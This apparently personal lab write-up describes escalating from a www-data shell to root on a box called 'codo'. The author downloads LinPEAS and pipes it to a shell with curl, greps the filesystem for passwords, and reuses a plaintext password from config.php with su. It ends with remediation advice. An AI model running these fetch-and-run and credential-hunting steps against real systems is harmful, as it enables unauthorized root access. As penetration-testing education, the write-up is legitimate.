Root Credentials Leaked in Config Files (Found via LinPEAS)

Not every root shell requires an exploit. Sometimes it just requires letting a good enumeration script do the boring work of reading every config file on the box, so you don’t have to do it by hand. This lab is a reminder of how often password reuse alone is the entire attack chain.

I had a shell as www-data, ran LinPEAS, and it handed me root’s password before I’d even finished reading the rest of the output.

The Setup

After exploiting a web application on a box called codo, I was sitting as www-data — the standard low-privilege account for a web server process. Rather than manually grepping through every application directory by hand, I pulled down LinPEAS and let it run its full enumeration sweep.

curl http://10.10.x.x:8000/linpeas.sh | sh

LinPEAS checks dozens of common credential-leak locations automatically — config files, shell history, cron jobs, backup files, environment variables — so I let it do the first pass before digging in manually.

Enumeration — What LinPEAS Found

Buried in the “searching passwords in config PHP files” section of the output was exactly what I was hoping to see:

grep -r -i "password" --include="*.php" / 2>/dev/null

Searching passwords in config PHP files
/var/www/html/sites/default/config.php:  'password' => 'FatPanda123',

A plaintext application password, sitting in the site’s config file — the kind of file that almost always ends up readable by the web server user, because the application needs to load it at runtime. LinPEAS also flagged the usual generic hits (/etc/pam.d/common-password, various git-credential binaries) but those were dead ends — standard system files, not actual leaked secrets.

The real find was the application-layer credential. The next logical move on any box is to test whether that password was reused anywhere else — starting with the most valuable account on the system.

Exploitation

su root

Password: FatPanda123

root@codo:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

The application’s database password and root’s login password were the same string. One su command later, root confirmed.

Why This Works

Password reuse is one of the most consistently exploitable weaknesses across real environments, not just labs. When a developer or administrator sets up a new service, it’s common to reuse a password they already have memorized — for a database connection string, an API key, or in this case, a CMS config file — rather than generating and tracking a unique credential for every purpose.

The moment that reused password exists in any location readable by a lower-privileged account, it stops being a secret. config.php needs to be readable by www-data for the application to function, which means any local user (or attacker with a foothold as that user) can read it too. If the same password protects the root account, that config file is now a root shell waiting to be claimed.

Root Cause

Two separate issues stacked together here:

1. A plaintext password stored directly in an application config file, readable by the web server user
2. That password reused as the root account’s login credential

Fix: Never store plaintext credentials in application config files — use environment variables sourced from a secrets manager, or at minimum a config file with 600 permissions owned by a dedicated service account, not world- or group-readable:

chmod 600 /var/www/html/sites/default/config.php
chown appuser:appuser /var/www/html/sites/default/config.php

And never, under any circumstances, reuse an application or database password as a system account password — especially not for root. Enforce unique, randomly generated credentials per service with a password manager or vault.

Key Takeaways

• Automated enumeration tools like LinPEAS are worth running early on every box — they catch credential leaks in config files far faster than manual grepping
• Application config files are a goldmine for credentials precisely because they’re required to be readable by the service account running the app
• Always test any recovered password against every other account on the system, not just the one it was found next to — password reuse is common and costs nothing to check
• Config files should never contain plaintext secrets; move credentials into environment variables or a proper secrets manager with tightly scoped file permissions

Questions? Hit me up on X.